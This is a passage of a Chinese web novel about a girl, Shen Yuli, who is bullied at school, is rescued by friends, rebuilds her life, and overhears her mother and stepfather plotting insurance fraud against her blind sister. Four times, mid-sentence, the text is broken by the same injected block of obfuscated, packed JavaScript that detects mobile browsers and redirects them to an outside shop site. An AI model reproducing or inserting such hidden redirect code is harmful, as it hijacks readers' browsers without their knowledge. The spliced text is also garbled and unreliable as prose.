这一路上她有意识地关闭了自己的所有感官,但各种猜测仍如张牙舞爪的恶魔不断地冒出来,在她的脑海中挥之不去,浑身上下的细胞都在尖叫着、催促着让她赶快逃离。 只要逃跑就好了,背过身关上门,外面的腥风血雨,她什么都不会知道。 “……沈余离。” “沈余离?” 有人在叫她,沈余离才像从梦魇中惊醒,猛地抬头,刚认识不久的室友林桉正站在她面前,往她桌前放了一捧糖,是各种口味的阿尔卑斯,他们学校小卖部买的奶糖好像只有这一款的。 有略微相熟的人人跟她搭话,沈余离才终于不那么恍惚,她盯着那一堆糖果,有些狐疑道:“为什么要给我糖?” 现在对她来说空气都可能化作利剑,让她下意识地就往更坏的地方揣测,但林桉似乎没看出她这句提问里的警惕,只是耸耸肩膀:“班级门口碰到一个人让我给你的,他说就是你们班那个发色很特别的女生。” “……?”沈余离不解,“这也……太突然了吧?” “我也觉得,不过他一说你这头发颜色,就跟指名道姓没啥区别了。” “为什么要给我……?”沈余离的思维在止不住地发散,根本无法克制,“这个行为有什么特殊含义吗?……我是说,有没有什么不好的含义?” “啊?”林桉愣了下,“没有吧……呃非要说的话……喜欢你??” 沈余离当机立断:“不可能,肯定有什么别的事情,反正绝对不可能是好事儿。” 林桉听到她的话,转念想到了某些事,欲言又止道:“哎……应该没什么事,别多想啦。” 沈余离的心脏像被吊起来一样,对这个并不寻常的动作产生了诸多解读,每一个解读都是一根绷紧的弦,紧紧勒着她的心。 她一颗都没吃,只是把糖一并收起来,放进桌肚里。 最好谁都不要再在意她、不要再看向她、不要再对她做出那些不同寻常的举动,就让她成为一粒尘埃,湮没于四周的环境里,再悄无声息地下落。 . 但是常常事与愿违,宣起了这样的轩然大波,就代表着始作俑者根本没打算放过她。 下晚自习时大家散得很快,都要抢着去洗澡,教学楼里人流流动巨大,赵志云一群人就是抓住这个档口,瞄准了时机要来找沈余离麻烦。 起先是下课铃刚响的时候,前桌周一凡率先转过头,手指扣在沈余离的作业本上,用一副不能抗拒的口吻命令她:“等会儿别走,赵志云要找你,在侧门那个楼梯间里。” “……”沈余离憋了一天的猜忌怒火,这会儿周一凡的话更像一把扇子,扇得她心里的怒气熊熊燃烧,热血直冲脑门,一股子冲碎了沈余离的顾虑,她抬起眼,脸色发青地盯着周一凡,“你们有病吗?有完没完?” “你挺硬气啊,不想别人讲自己别干啊。”周一凡微微仰身,挑了下眉,“赵志云还留着点东西没爆呢,你不去,他就不给你面子了。” 最后一句话是一块烫过的烙铁,在沈余离的心口上烫了一个洞,让她一下子紧张起来——虽然明明知道自己没干什么,但对面这样决绝的语气不由得让她心生怀疑,赵志云是否编造了更可怕的谣言,甚至,她自己就干过什么见不得人的事情,只不过别人撞见了,但她不记得呢? 周一凡没给她太多思考的时间,步步紧逼:“你的回答呢。” “……我不走。”沈余离从齿间艰难地挤出一句话,“我等会儿去找他。” 她这个反应,在周一凡眼里,更坐实了那些传言的真实性,他勾唇,意味不明地笑了下,装模作样地做了个请的手势,仿佛他从来没有想过她否定之外的回答。 沈余离揣起书包,面色阴沉地朝教室外走,言生在旁边听完了全程,下意识伸手想要扯住她:“沈余离……” 言生想说些什么,但只是张了张口,欲言又止。 沈余离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062695|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时心中烦躁又恐惧,已经无暇顾及她说什么了,只是埋头向前走,从教室到楼梯间的距离像一条永无止尽的隧道,坚硬的石壁阻隔着太阳光,里面充满着污水浑浊的气味,她踩着满地泥泞向前走,前方也只有看不到头的黑暗。 “哟。”楼梯间里,赵志云叼着根棒棒糖,轻佻地和她打招呼,“好久不见啊,大红人。” 沈余离很难给他好脸色:“有话快说,然后把东西删了。” “凭什么?现在知道丢脸了?”赵志云咬碎糖块,嘴里发出嘎吱嘎吱的咀嚼声,一股甜腻到让人作呕的果糖味在空气中弥漫,他凑近沈余离,轻声道,“那你当时拒绝我的时候怎么不想想我的感受呢?我只是教会你换位思考而已,学校里懂得这个道理,总归比到了社会上再被人毒打要好啊,你应该感谢我,是不是?” 这家伙长得人模狗样,可惜嘴里一股恶臭,和糖的甜味混杂在一起,直直地打在沈余离脸上,让她很想吐。 沈余离下意识地退后避开,皱眉道:“你说的那些,我没干过。” “切,谁信啊?”赵志云摊开手笑笑,音量依然很小,“我都抓到铁证了,你还怎么证明?去医院开个证明证明一下你还是处/女吗……” 话音未落,沈余离心底反复欲燃又被压制的委屈被最后一句话瞬间燃爆,她一把抓住赵志云的领子,咬牙一拳揍在了他的脸上,随之而来的,是她再也兜不住的两行眼泪。 “操。”赵志云没想到她来这么一下,虽然沈余离当时的力气不足以对他造成什么伤害,但这突如其来的反抗对他的羞辱也足够了,他抹了下嘴角,面目开始变得有些狰狞,高大的阴影覆盖住沈余离,“你敢打我?” 沈余离一手扶住墙,嘴唇止不住地颤抖,眼泪源源不断地流下来,泪水渗进她的嘴里,辛辣又酸涩,喉咙像被火烧一样的疼,她看起来还在好好地站着,实则腿已经在微微发软了,再下一秒,她就觉得自己要站不住倒下去了。 赵志云气极反笑,那声低低的笑声就如同野兽撕咬猎物之前的兴奋,他向前一步,伸手要去抓沈余离,不料下一秒,一声怒吼突然响彻楼道: “下课这么久了,还有哪些学生再逗留?我要巡楼了,赶快回去!” 下一秒,“啪”的一声,楼梯间顷刻没入黑暗! 沈余离心跳漏了一拍,可还没等她反应过来,就有人一把抓住她的手腕,撞开门,带着她不由分说地往楼梯间出口跑,学校走廊里的灯已经全被关了,抓着沈余离那人边跑边回头,身后手电筒的白光正在四处照射,不远处,赵志云正被一个穿着保安制服的男子抓着,眼神怨恨地四周打量着,好像在寻找什么。 那人抓着沈余离一路跑到底楼拐角,见没什么人追过来了,才松了一口气,把沈余离松开。 沈余离被那人拉着一路狂奔,此刻喘得不行,她想找个借力的东西靠着,却立马被一个人冲过来扶住了。 “沈余离同学!”是个女孩儿的声音,细细的音色带着发颤的哭腔,“你没事吧!!” 沈余离抬眸,被肾上腺素冲击得有些模糊的视线中,她隐约看出了林桉和言生的轮廓。 “哎呦卧槽,赵志云那个畜生。”林桉弯腰,扶着膝盖休息,“真不是东西啊,沈余离你那拳太帅了,哎呦我去,跑死老娘了,八百米都没这么惊心动魄。” “我的问题我的问题。”言生扶完这个扶那个,“我不知道哪个开关对应着哪个,就把它们全关了,刚刚没受伤吧,你们俩?” 沈余离站在那里,看着两个女孩儿一唱一和,刚刚变得清晰的视线,好像在转瞬间又模糊了。 “我……”她张了张口,心里发生了一场雪崩,无数雪浪怒吼着崩坏,冲得她再次泪流不止,沈余离低下头,肩膀无法抑制地抽动着,大滴泪珠一颗颗地砸在水泥地上。 “别哭别哭。”林桉看到了,手忙脚乱地要去给她擦眼泪,“哎纸……纸巾!!” “哦哦哦哦。”言生赶紧掏出纸巾递给林桉,一同凑上去安慰她,轻轻拍着她的肩膀,“没事了沈余离同学,没事啦。” “叫……叫我小鱼就好。”沈余离抽泣着,声音断断续续,“谢谢你们……真的。” “哎,哪儿的事儿,他太过分了我真看不下去。”林桉无所谓地笑笑,“不过我们小言生还是聪明啊,我怎么一开始没想到叫保安这招,他们存在感太低,我都忘了,平时他们要等到十点半才巡逻,今天多亏了言生,分散了那个下头男的注意力。” “……啊?”此话一出,言生不由得愣了下,“我……?我没叫保安啊?” 30. 鱼游大海|四 . 听到这里,宋未海不由得弱弱地举手:“好、好像是我……” 说罢,他的声音更小:“在门口那个把你吓得不轻,然后又莫名其妙给你一堆糖的奇怪男子好像也是我……对不起,我之前看你脸色不好又站不稳,以为你是低血糖。” 沈余离其实早就猜到了,轻声调笑道:“那你还真是热心肠啊。” “……”宋未海脸红得像桃子,“别、别讲了你……” “所以我室友很好,即使后面……发生了很多事,我们还是一直在联系。”沈余离微笑道,看着她的笑容,宋未海很难把之前那个惊惧恐慌的小女孩儿,同现在她这八风不动的姿态联系起来。 “不过我没有在学校读多久的书,赵志云隔天就找了老师,说我纠缠他不成还打了他,当时赵志云声音很小,监控听不到他说了什么,只拍下我打人的场景,后来,老师找我谈了话,给了我停课一天的处分,再回去的时候我已经是黑料缠身了,我坚持了高一一整年,但是一想到这样的生活还有两年,我还要遭受八百多天的嘲讽和议论,这样的压力让我难以承受,所以,高二分班的前夕,我休学了。”沈余离偏头看向宋未海,“我走的那天,就是你被他们泼水的那一天,在原来的世界线里,被泼的是我,我像一个狼狈的落汤鸡一样,逃离了那个是非之地,等过了两年,直到赵志云那群人从学校毕业了,我才敢重新回去上学。所以你之前说看到我非常平静什么的……只不过是最后的防线,当时我的思绪已经完全溃散了,除了各种担忧、焦灼和茫然,我什么都感受不到,整个人活在虚无缥缈的负面情绪中,如果有人再刺激一下,我会立马崩溃。” 她曾经的逃避与如今的坚定实在差别太大,让宋未海忍不住继续追问下去:“那……你是怎么变得和现在这样……厉害的?” “谢谢你的夸奖,我也觉得自己不容易。”沈余离半开玩笑道,但又随即收起笑容,十分笃定地看向宋未海,“但是你也可以的,所以不要老觉得自己无能——不过乱走山路这种乱添麻烦还很危险的事,以后别做了。” 宋未海耳根又红了:“好……好的。” “你不是问我什么时候培养起爬山的爱好么?不是很好奇为什么我能找到你吗?”沈余离没过多纠缠他的过错,只是继续娓娓道来,“因为后来大学我去学的自然地理,当时正好有个学校的地理专业是不限选科的,学习过程中有很多我们需要实地考察的地方,而且我自己也参加过民间的山地救援队,所以也有一点救援经验。其实本来应该等到专业救援队来的,但我看下面有峡谷,峡谷溪流的尽头连接着瀑布,我估计你会一直沿着溪流的流向走,那如果你一旦走到尽头摔下去,就没得救了,时间紧迫,所以我先来了。” “……”宋未海把头埋了下去,“真给你猜中了……” “下回如果再迷路了,就系一点颜色鲜艳的布或者放信号弹,乱走容易失温,很危险。” 宋未海捂住脸:“……好。” 沈余离看着他的反应,不由莞尔,继续讲了下去:“大学的生活确实让我的生活逐渐归于平静……不过,在此之前,能让我活下去的,却另有其事。” 宋未海好奇:“嗯?” 休学期间,她浑浑噩噩地度过了两年光阴,直到再次踏进校园,那样熟悉的建筑、气味、路途依然构成了一幅张牙舞爪的梦魇,在她的心头萦绕纠缠,任何一丁点儿似曾相识的元素,都勾连着她心底最深的恐惧和阴影,沈余离根本难承其重,要在这样源源不断的刺激中再生活两年,让她感到连呼吸都变得无比艰难,无论九月初的天气是怎样的炎热和干燥,她都觉得浑身发冷,冷到了骨子里。 这样如同噩梦般的生活,她根本无法继续。 ——直到,她在浏览网页时,看到了一位同城的博主。 那个博主从16岁的时候开始就在蓬山的一所盲校做公益活动,等到18岁高考结束之时,他直接去了那一所盲校的语文老师,盲校师资力量薄弱,所以宋未海小学初中的语文都能教。这个博主好像很热爱文字,每天都会写很多教学日记来记录和孩子们的生活,即使后来上了大学,也依然会在假期时回去教书,而他一直教的那个班级,正好是沈余离妹妹的班级,沈祈生从十岁转学至今,也算是他看着长大的。 自从出事之后,沈余离去见过沈祈生,不过她去的次数不多,而且只敢远远地站在校外看一眼,那些流言太疯狂了,她会害怕波及到沈祈生。 人群之中她只能努力地踮起脚尖寻找,看到那个逐渐长大的女孩儿沉默着行走在人群中,她长高了,束着干净的马尾,皮肤很白,眼睛漂亮却无神,站在漫天落叶中,安静得像一幅画中的少女。 但是在那个博主的笔下,沈祈生的现在对她而言,终于从一幅静态的画面变成了鲜活的生活,那个博主会给他的每个学生一个亲切的昵称,他笔下的小祈会在语文考试中把李白的青莲居士写成黄莲居士,会把《小石潭记》的明灭可见翻译成明朝的灭亡可以预见,但她的作文却写得很好,读她的作文能让他感受到涓涓细流的流淌,清澈又柔软,记忆中的妹妹终于变成一个灵动又有些有趣的少年,尽管双目失明,但是她的学习生活中依然充满着快乐。 等到过年的时候,那个博主还写到过沈祈生特意留给他看的新年周记,小祈在日记里用盲文写到了一个人,是她的姐姐,小祈在那篇文章里写到了远处郊区绽放的烟火,她只能听见旷远的轰声,但是却能想象出烟花的样子,她觉得烟花或许像天空中盛开的一簇簇花朵,那个时候她想到了姐姐,对于她自己来说,回忆里的姐姐就和这样的烟花一样遥远,在她心中却永远炽热。 她写到,命运生来不公于她,她能看见的只有没有穷尽的黑暗,但是姐姐的爱,一直给了她对这个世界的无限遐想, 博主在下面给了她一句评语,他说: 你和你的姐姐都是强大的人,能够感知和给予爱意的人,一定坚韧又耀眼。 那是沈余离在被充满恶意的谣言淹没之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062696|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,听到的为数不多的正面回馈,一个来自她最后的精神支柱,一个来自她素未谋面的陌生人。 那一年,满街的火红灯笼就像一条遨游的长龙,沈余离从阳台上看下去,第一次觉得过年装饰品的红,在她眼中变得明艳。 从那段时间起,沈余离开始期盼着那个博主的更新,关注中的那个红点成为了她走下去的救命稻草,一想到只要能够继续活下去,她就能继续透过这些文字看到一个不断成长、平静幸福的妹妹,先前那些纠结与内耗也就渐渐黯淡下去,不再成为困扰着她的魔兽了。 “……所以。”讲到这里,沈余离看向宋未海,眼神深邃,“到这里,你还觉得,你什么都没有帮到我吗?” 宋未海的瞳孔骤然睁大,在沈余离说到在盲校教书的公益博主时,一个猜测就已经在他的心里生根发芽,等到她后面几乎原封不动地把他写过的评语和有关沈祈生的一切背出来时,心底正在经历一场猛烈的地震,曾经他以为的一切毫无交集,以为的一切暗恋无果,以为的一切单向注视都在她的娓娓道来中坍塌成废墟,但是被夷为平地的世界又顷刻生长出了新的生机,他们以一种难以抑制的方式吸取养分、暴力生长,最终缠满他心里竖起的一道道城墙,他连接着心脏的血管就是那一道道蓬勃的、茂密的藤蔓,充满着生命力地在搏动和提供养分,那一颗因为自卑而沉寂许久的心,在此刻终于终于又重新感受到了跳动的节奏。 那一刻,宋未海想要流泪,曾经自己熬夜敲下的文字时隔一整个错开的时间线,重新焕发出了新的温度,以至于他曾经敲打键盘的指尖,都在因为此刻的热血沸腾而微微发烫。 “可惜后来……那个博主似乎过劳成疾,加上他好像被自己的亲戚骚扰,那段时间一直颇受争议,后面就不更新了。他只是说,自己心脏不太好,我不知道他究竟得了什么病,不过既然连原来的生活都很难继续下去,我估计,应该挺严重的吧。”沈余离像是无视了宋未海震惊的眼神,垂下眼睫,继续自顾自地用“他”说过去,仿佛那真的只不过是一段发生在另一时空的、二人置身事外的故事,“但就算这样,他也没有自暴自弃,他只是告诉他的读者,希望大家都能好好睡觉、好好休息,而他也会努力地活下去,就像那群同样身残志坚的孩子们一样。” “所以在我家门口发现你那天,惊讶之余,我很久违地感到了担忧。”沈余离一如既往的镇定终于在此刻出现了一丝裂痕,“我在想,等到再来一趟的时候,先前的悲剧,能不能不要再次发生了呢。” “其实高中毕业之后,我很少会对未来的动荡感到忧心,你是除了小祈之外的唯一一个。”沈余离终于抬眸直视着宋未海,他觉得,她的那双眼睛就是一对举世无双的琥珀,被禁锢许久的生机和思绪,在此刻死而复生,“因为你对我来说,已经是非常重要的人了。” “小宋老师,他们都这么叫你对吧?”沈余离笑起来,轻轻握住宋未海的手,坚定的力量,在彼此之间的体温之间徐徐传递,“别来无恙。” 31. 从未离开|一 . “……”宋未海的耳畔在轰鸣,他的嘴是张开的,心中有千言万语想要诉说,但是这突如其来的真相让他的下颚关键完全被定住,根本无法发出一个音。 ——这一切的一切,他曾经以为完全无关的一切,真的都在暗中有着千丝万缕的联系吗? 那么那些奇妙的、细微的、却令人难以捉摸的巧合,是不是冥冥之中又自有联系呢? 每次沈余离被别人说三道四时,他心尖的微痛。 明明没有磕碰,但在沈余离受伤之后,他发现自己胳膊相同的位置上有三道相同的抓痕。 沈余离被刺到的那一刻,他也感受到了一瞬的心惊和眼皮上的刺痛。 自己被赵志云砸伤虎口时,他注意到沈余离也捂着自己的虎口。 在山上迷路之后,自己的每一处伤口都和沈余离的伤口重合。 这只是凑巧吗?只是意外吗? 还是说,在这个世界的时间被启动之时,他们的命运,早就缠绕着相伴相生呢? 而且,宋未海知道,只有人死了,才可以进入轮回,新的时间,才会重新被开启。 那沈余离呢?她没有自杀,又是因为什么死去的,只是不幸的飞来横祸吗? 真的仅仅凭他的只言片语,就可以让一个曾经靠别人认可去活着的人,发生这么翻天覆地的变化吗? 胸膛中的心脏正在跳动,那个不断运动着支撑他活着的器官,在那一刻令他觉得亲切又陌生,熟稔又恐惧,隐隐猜测又不可置信,一个庞大的真相就在他的脚下,他与它之间只隔着一层薄薄的冰层,只要他现在踩下去,底下就是一片未曾探索到的海底世界。 “沈、沈余离。”宋未海咽了口唾沫,终于逼迫着自己发出了声音,沙哑道,“那后来呢?你方便……把后面的故事讲下去吗。” 人性难改,就算是再温良谨慎的人,在得到最初的许可之后,也会忍不住变得更加贪婪。 他对她的探知欲就是一片雪花,最初只不过是湮没在诸多复杂的情感之中,单薄一片,籍籍无名,直到某一天被推手揉成一团雪球,之后以一种难以预料的速度越滚越大,最终,他无法忽视,也再也无法克制了。 能告诉我你的一切吗? 能告诉我,在我不知道的地方,有关于我的一切吗? 宋未海知道自己一直是一个懦弱的人,不善争执的人,却也是一个自私的人。 他的一切退避三舍,一切打退堂鼓,并非他真的察觉不到恶意,只不过是害怕冲突而明哲保身罢了,他对所有威胁俯首称臣的姿态,只不过是为了在这个危机四伏的世界里,保全他自己。 温和之下,是千百般自以为精明实则弄巧成拙的计算,是东窗事发之前就未雨绸缪的谨慎,他向来难以真正心甘情愿地服从于谁,这一点他比谁都清楚。 可是这次,他却想无比真挚地恳求她,恳求她像一位高明的祭司,把一切真相摊开在自己眼前。 “你真的想听吗。”沈余离像是有些惊奇他会追问下去,笑了下,“那我就告诉你。” . 楼梯间揍赵志云那次,若不是林桉及时出现,赵志云可能就有机会回击,而沈余离意识到,自己根本不是他的对手。 力气的欠缺让她难以获得安定,自身的弱小让她频频担心未来,保护不会每次都准时地从天而降,所以沈余离决定去增强自己的力量——然后她就去学了散打。 每一次挥拳、踢腿、力量实打实地冲击到沙带上之时,每当她的拳面感受到痛、脖颈大汗淋漓之时,这种力量的输出都让她倍感畅快,在一次次实战中沈余离的步伐变得更加灵活,看到迎面过来的拳头不再呆傻地站着,她已经学会去瞄准、去预判、去进攻,直到把对手摁在地面告终。 后来健身教练的家人因为器官移植所以获救,就是在教练那里,她了解到了遗体捐献,能让奄奄一息的人重焕生机,也能让双目失明的人恢复光明。 在她活着时,对她没什么太大影响,在她死去后,也不在乎自己是否能入土为安,秉持着自己多签一份,如果能为妹妹积德,让她能因为别人的善行而恢复光明,那也是好的。 后来的沈余离回归了原来的生活,在学校上课、外出实践、课外兼职,三点一线。 每天和山体、岩石与河流打交道,让她的目光逐渐从流动的人群中收回视线,世界在她的眼中全部被分割成了有迹可循的造物,比如一些山峰的隆起是因为板块的碰撞、岩石间不同的纹路归因于各种侵蚀、堆积作用的不断堆叠、她所见的深切峡谷也曾被柔软又迅疾的水千万次摩挲,山间旷远的鸟鸣是她唯一听见的声音,长途跋涉后脚底的刺痛是她唯一感受的痛苦,无边无际的天空是她所见世界的宽度,那些流言蜚语退去了身影,只有渺小的她立足天地间,见山形枕寒流。 她被从那个狭小的洞穴中拽出来,等她眼前豁然开朗之时,才发现洞穴中倒映的黑影,只是她自我恐吓的幻象。 世界这般宏伟,各种植被与气候的变幻都是如此玄妙却又不无逻辑,远在人类文明诞生的几十亿年之前,无数生灵和地壳板块,就已经在为如今她看到的世界而埋下伏笔。 宇宙铺下草灰蛇线,以蛰伏千里,那些窃窃私语,不过是擦过耳边的一点风声。 至少她会花时间去研究山体的结构是如何形成的,但是这万里山河,无一不会关心她究竟有怎样狼籍的过去。 和这些事物待在一起,沈余离不用担心被讨厌、被误解、被扭曲,只要她张开双臂,就会发现她的人生无论如何支离破碎,这大千山水,都会慈悲地包容下一切,在看到万物生命的遗迹时,沈余离是真的感受到自己在活着,为了生存而行走下去,为了在时间中留下一粒沙砾而行走下去,为了看到无尽的奇观而行走下去,为了透过岩层的分析而倾听他们的故事所以行走下去,为了看到这世界究竟有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062697|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多么大而行走下去。 从那一刻起,她就不再执着于被爱了,她的人生,不再以寻找着认可为终极目标了。 沈余离开始爱上搜索和学习世界各地的景观,她的攒钱不再只是为了生存和妹妹,同时也拥有了自己的理想,她很想去亲眼见证那些自然之中的鬼斧神工,其中特别提到了她想去极圈看到漫天浮游的极光、看到一年之中的极昼与极夜、看到世界尽头的钻石沙滩,坐在那里看一场落日。 后来很巧的是,她看到了宋未海的博文,两人非常有默契地都想去同一个地方看夕阳,于是这件事,就被沈余离记下了。 三人都怀揣着一点期待,就这么平静地生活下去,沈余离也不再像之前那样警觉敏感,在想通了之后,她不再觉得所有人都会盯着她审判,也敢再走近一点去看看沈祈生。 在新年那天,沈余离像之前几年一样,照例给沈祈生准备了新年礼物,偷偷寄过去,但是这一次,她也多给了宋未海一份—— 这个礼物件并不贵重,甚至网购网站上随便一搜都有一大堆,是一张冲洗过的微型胶片,被做成了钥匙扣,里面的景象,就是钻石沙滩的日落。 沈余离没什么钱,也没什么必要花大价钱给一个关注的博主买礼物,她送这个小挂件只算一个美好的祝愿,一个离他们千般遥远的梦想,却也日日幻想憧憬着,有一天,他们能够真的踩在沙滩上、俯身摸到冰凌,一抬眼,就能看到光芒灿烂、缓缓下落的太阳。 起初她只是顺势记下,也算是为了感谢宋未海对沈祈生的照顾,可她并没有料到宋未海一直带着,甚至带到了这一世。 沈余离寄完礼物之后,打算等再过段时间,自己把学业忙完,就去看一眼沈祈生,二人许久未见相互挂念,等到重逢之时,一定会有千言万语要诉说。 但是没想到,生活的变换就在转瞬之间,就在一切即将归于平静之时,生活里突然发生了两件大事,打乱了沈余离的所有计划。 第一件事,是她看到宋未海发文说,小祈等了很久,现在终于有一个人的眼角膜和她配型成功,她这几天在收拾东西办理手续,过几天准备回家,在一周后马上就要入院去检查,如果没什么问题就进行手术,这也就意味着,沈祈生很快就可以结束十几年漫长的盲人时光,恢复光明,像一个正常的孩子一样生活下去了。 这本来是一个令人欣喜若狂的大好事,那一天是沈余离这么久以来觉得自己最幸福的一天,她对整个世界和捐献者都充满了感激。 可惜命运半点不由人,但是不久的将来,沈余离却觉得自己的身体在久违地颤抖。 这样的颤抖,是因为害怕,也是因为暴怒。 因为偏偏、偏偏就在这样柳暗花明的转机中,就在她喜极而泣地跑到校门口想要去见到沈祈生时,她看到了两个人,两个许久未出现在她的生命中,已经被她当成死人的人。 是她的亲生母亲,和她所谓的继父。 32. 从未离开|二 . 沈余离以前从未去打扰过沈祈生的生活,一是她早些年和妈妈搬离了蓬山市,那个时候她没有手机,就算想要联系也无从下手;第二是事发当年沈祈生还小,沈余离不想因为自己的再次出现,唤起她那些不好的回忆,而且她的“继父”估计也会介意沈余离反反复复的打扰,所以,因为诸多考虑,沈余离后来没再选择打探沈祈生的踪迹。 但是在读了宋未海的博文后,沈余离发现沈祈生不仅记得她这个姐姐,而且也很想念她,因而,她决定重新去见妹妹一面。 听说沈祈生这几天在办手续,为了防止她后面恢复光明再离开,两姐妹再度陷入断连的状态,沈余离就天天去盲校附近等着,期盼着至少能见到沈祈生一面。 那一天她照例去盲校门口等沈祈生时,看到路边多停了一辆黑色的轿车,而后一男一女走下来,男人西装革履仪表堂堂,女人妆容精致身形高挑,沈余离并不认识那个男的,但是在看到那个女人的一瞬间,诸多回忆就如潮水冲进她的脑海,那个女人温柔幸福的声音、歇斯底里的喊叫、低声下气的哀求、和最后毫无留恋的告别。她的妈妈好像一直在变,不断地染发烫发,不断地尝试着不同风格的妆,但是她们生来就是母女,以至于无论时间相隔多久,从眉眼生长的弧度之间,沈余离依然能将她认出来。 但是她没去相认,沈余离对母亲的感情很复杂,说怜悯同情哀其不幸太高傲,说思念万分难以忘怀太浮夸,沈余离觉得她的目光始终都追随着自己的爱人,爱得全心全意、肝肠寸断,以至于分给两个女儿的爱只不过是高兴之余的施舍,她甚至有时候觉得,就算那时继父要求她一个孩子都不带,她也会把姐妹俩一并抛弃然后离开,沈余离并非感受不到她对女儿的爱意,只是觉得这段爱意,在铺天盖地的甜言蜜语之上,还漂浮着一层无法被捅破的隔膜。 ——所以她最后选择藏在了不远处的拐角,听着高跟鞋的声音,一点一点地走近。 最后,那道声音在不远处停下,紧接着,沈余离听到她的母亲开口说话:“我们也是好久不见小祈了,不知道她现在长成什么样子呢——你说,真的要让她和小宝大宝见面吗,他们从小都是分居生活的,突然多一个人,大宝小宝会不习惯吧。” 听到这话,沈余离不由得皱起眉。 什么叫分居生活?这么长时间里,沈祈生难道一直都见不到妈妈吗? 他们一直丢她一个人生活吗? 她来不及多加思考,就听到另一道男声回她,男人压低了声音,但还是被沈余离听到了:“嘘,这里是学校,等会儿别让孩子听见了。” “啊哈哈……”她听到妈妈有些尴尬地笑了笑,随即具有讨好意味地附和道,“知道了知道了,这不是告诉你,咱俩的孩子更重要吗。” 沈余离不是傻子,听到这里,她已经心寒三分。 母亲的声音一直很好听,甜美得像百灵鸟,但是此刻的柔声细语,却令她感到有一些恶心——原来这些年沈祈生就算有“家人”,也过得并不好,这么多年来,妹妹始终是被他们排除在外的那一个。 沈余离的心脏像是突然被绞紧了,一半是心疼,一半是后悔。 早知道如此,无论当年生活多么艰苦,她都应该选择把沈祈生留在身边,虽然生活可能会更加拮据,但是至少,沈余离不会和其他人一样合伙起来欺负她。 “这小祈命还真的挺好,眼睛突然就好起来了。”她的母亲话锋一转,说到了沈祈生的眼睛上,但是在沈余离看来,这语气绝非是开心,而更像是一种…...可惜和不悦? “你说说…...”她听到妈妈在叹气,音量变得更小,“这怎么……突然就好起来了呢?” “时来运转,也是命运的安排吧。”男人叹了口气,意味深长地补了一句。 “那么……”她妈妈用有些试探的口吻问到,“那件事还做吗?” “当然。”男人回,“养育她这么久,应该也到了知恩图报的时候了吧——那个东西,你买好了吗?” “买好了,不就是一份保险吗,小看谁——” “嘘!”男人再次压低声音,然后停顿了几秒,可能是在左顾右盼看看有没有人,不过所幸,他没发现拐角的沈余离,“小声点!” “没事儿。”女人温柔地笑笑,“给孩子买保险,也算是祝贺她重获新生的一份礼物,毕竟,别人家孩子有的,她也会有,对吧?” “……”男人犹豫片刻,随即深深地叹了口气,有些沉重道,“是啊,我对小祈,向来是视如己出,这一点,你们所有人都有目共睹。” “当然,如果你对她不好,会把妈留下来的房子单独给她住吗?现在房价多贵啊,我们还不是怕那两个小淘气鬼吵到小祈休息。”女人笑盈盈地回,“到时候我会把她的东西收拾好领过去的,我会提前跟她说好要去看她的,让她乖乖等着,孩子一定很期待……我们一家人终于要团聚了。” “嗯,这两天她可能经常往返学校,你帮她一起把东西收拾完。”男人严肃道,“然后后天中午我会来看她的,是后天中午,别忘了,我只有后天中午有空。” “……” 沈余离在暗处握紧了拳头,如果不是怕打草惊蛇,她很想现在就冲上去,不顾什么尊老爱幼的把两个人全揍一遍,然后拉着沈祈生的手带她一起回家。 可最后,她还是努力把自己心中的怒火压制下来,以至于到了浑身发抖的地步,沈余离知道这个时候自己不能冲动,就算她这时候把沈祈生接走了,她依然无法无时无刻地保护着沈祈生,妹妹还是未成年人,监护权依然在妈妈手中,他们这两个人现在明显是想要弄点儿意外出来骗取保险……这样恶毒的手段都能想出来,沈余离根本不敢想象,如果自己哪天不在妹妹身边了,他们会制造什么样的意外。 这么长时间以来,无论沈余离遭受了多少冷嘲热讽,她都会因为妹妹而继续活下去,曾经她最寸步难行的那个阶段里,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062698|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 